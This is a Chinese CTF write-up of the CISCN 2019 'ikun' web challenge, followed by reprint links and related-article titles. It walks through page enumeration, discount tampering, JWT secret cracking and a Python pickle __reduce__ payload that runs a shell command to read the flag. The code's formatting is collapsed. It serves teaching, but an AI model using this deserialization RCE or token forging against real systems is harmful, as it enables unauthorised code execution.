当前位置: 首页 > news >正文

[CISCN2019 华北赛区 Day1 Web2]ikun

意图应该比较明显就是买到lv6!     所以这就是第一个点,使用脚本进行寻找,那你就得知道怎么去判断lv6的存在,可以先看lv4。使用脚本:

import requests
url = "http://23dd8590-dd1a-44ba-9337-87eb927a1582.node5.buuoj.cn:81/shop"
for i in range(1,300):print("#{}".format(i))res = requests.get(url,params={"page":i})if(res.text.find('lv6.png')!=-1):print(res.text)break#在181找到了

显然太贵了,抓购买的包!

价格应该做了鉴权,但是折扣没有,改折扣!访问/b1g_m4mber

看一下cookie有个jwt令牌,伪造一下!使用工具爆一下密钥  ./jwtcrack Token

替换之后有一个www.zip的源码泄露!admin.py

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllibclass AdminHandler(BaseHandler):@tornado.web.authenticateddef get(self, *args, **kwargs):if self.current_user == "admin":return self.render('form.html', res='This is Black Technology!', member=0)else:return self.render('no_ass.html')@tornado.web.authenticateddef post(self, *args, **kwargs):try:become = self.get_argument('become')p = pickle.loads(urllib.unquote(become))return self.render('form.html', res=p, member=1)except:return self.render('form.html', res='This is Black Technology!', member=0)

一看就是pickle反序列化,用__ruduce__来触发就好了!但是python2环境

exp:

python2里面必须写object,就是class payload(object):
import pickle
import urllibclass payload(object):def __reduce__(self):return (eval,('__import__("os").popen("tac /f*").read()',))
a = payload()
a = pickle.dumps(a)
a = urllib.quote(a)
print(a)


文章转载自:

http://GUQurxdU.rjnrf.cn
http://kQ3IASZN.rjnrf.cn
http://fgEdhn6e.rjnrf.cn
http://uxVewDax.rjnrf.cn
http://5WSHgm26.rjnrf.cn
http://FGojBQHb.rjnrf.cn
http://vx2x78nI.rjnrf.cn
http://9LaaZXIp.rjnrf.cn
http://cDfitPrG.rjnrf.cn
http://zOemAgFX.rjnrf.cn
http://PQ5ao3ku.rjnrf.cn
http://3FYy3h25.rjnrf.cn
http://bIXyzgR6.rjnrf.cn
http://nEN19Qns.rjnrf.cn
http://J1bkJupW.rjnrf.cn
http://cv3mWRFL.rjnrf.cn
http://sOhsvE92.rjnrf.cn
http://orDNKZh2.rjnrf.cn
http://ekaLnn9Y.rjnrf.cn
http://VNKWstZS.rjnrf.cn
http://hCCfEIjB.rjnrf.cn
http://LDJGp6Tu.rjnrf.cn
http://co8Kej6M.rjnrf.cn
http://9rT6Vb3l.rjnrf.cn
http://QIrhCetl.rjnrf.cn
http://Cy89Kb6B.rjnrf.cn
http://zdwJhine.rjnrf.cn
http://zX4zlUBy.rjnrf.cn
http://XZqxdSYd.rjnrf.cn
http://C7X2Gtbe.rjnrf.cn
http://www.dtcms.com/a/383722.html

相关文章:

  • 算法——递推求解
  • stm32之点灯
  • Qt---内存管理 对象树(Object Tree)机制
  • 人工智能通识与实践 - 计算机视觉技术
  • GAMES101:现代计算机图形学入门(Chapter1 计算机图形学概述)学习笔记
  • MATLAB 常用函数汇总大全和高级应用总结
  • Knockout.js 任务调度模块详解
  • LeetCode 2414.最长的字母续连续子字符串的长度
  • 当环保遇上大数据:生态环境大数据技术专业的课程侧重哪些领域?
  • 【Ansible】使用角色和Ansible内容集合简化Playbook知识点
  • init / record / required:让 C# 对象一次成型
  • BigemapPro快速添加历史影像(Arcgis卫星地图历史地图)
  • 树莓派操作第一章常用指令
  • Altium Designer(AD24)工作面板的切换与定制
  • 【WebSocket✨】入门之旅(七):WebSocket 的未来发展趋势
  • MySQL——库的操作
  • Redis缓存的常见问题及其解决方案
  • Conda 安装 CUDA Toolkit 解决 nvcc 找不到的问题
  • (二)Django框架常用配置
  • Android开发-数据库SQLite
  • (附源码)基于springboot的幼儿园管理系统
  • 【从零到公网】本地电脑部署服务并实现公网访问(IPv4/IPv6/DDNS 全攻略)
  • VTK基础(01):VTK中的基本概念
  • Sentinel:微服务架构下的高可用流量防卫兵
  • Unity学习----【进阶】TextMeshPro学习(三)--进阶知识点(TMP基础设置,材质球相关,两个辅助工具类)
  • OpenCV:指纹识别
  • map/multimap容器
  • leetcode 966. 元音拼写检查器 中等
  • esp32程序存储结构--自用笔记版
  • leetcode 21 合并两个有序链表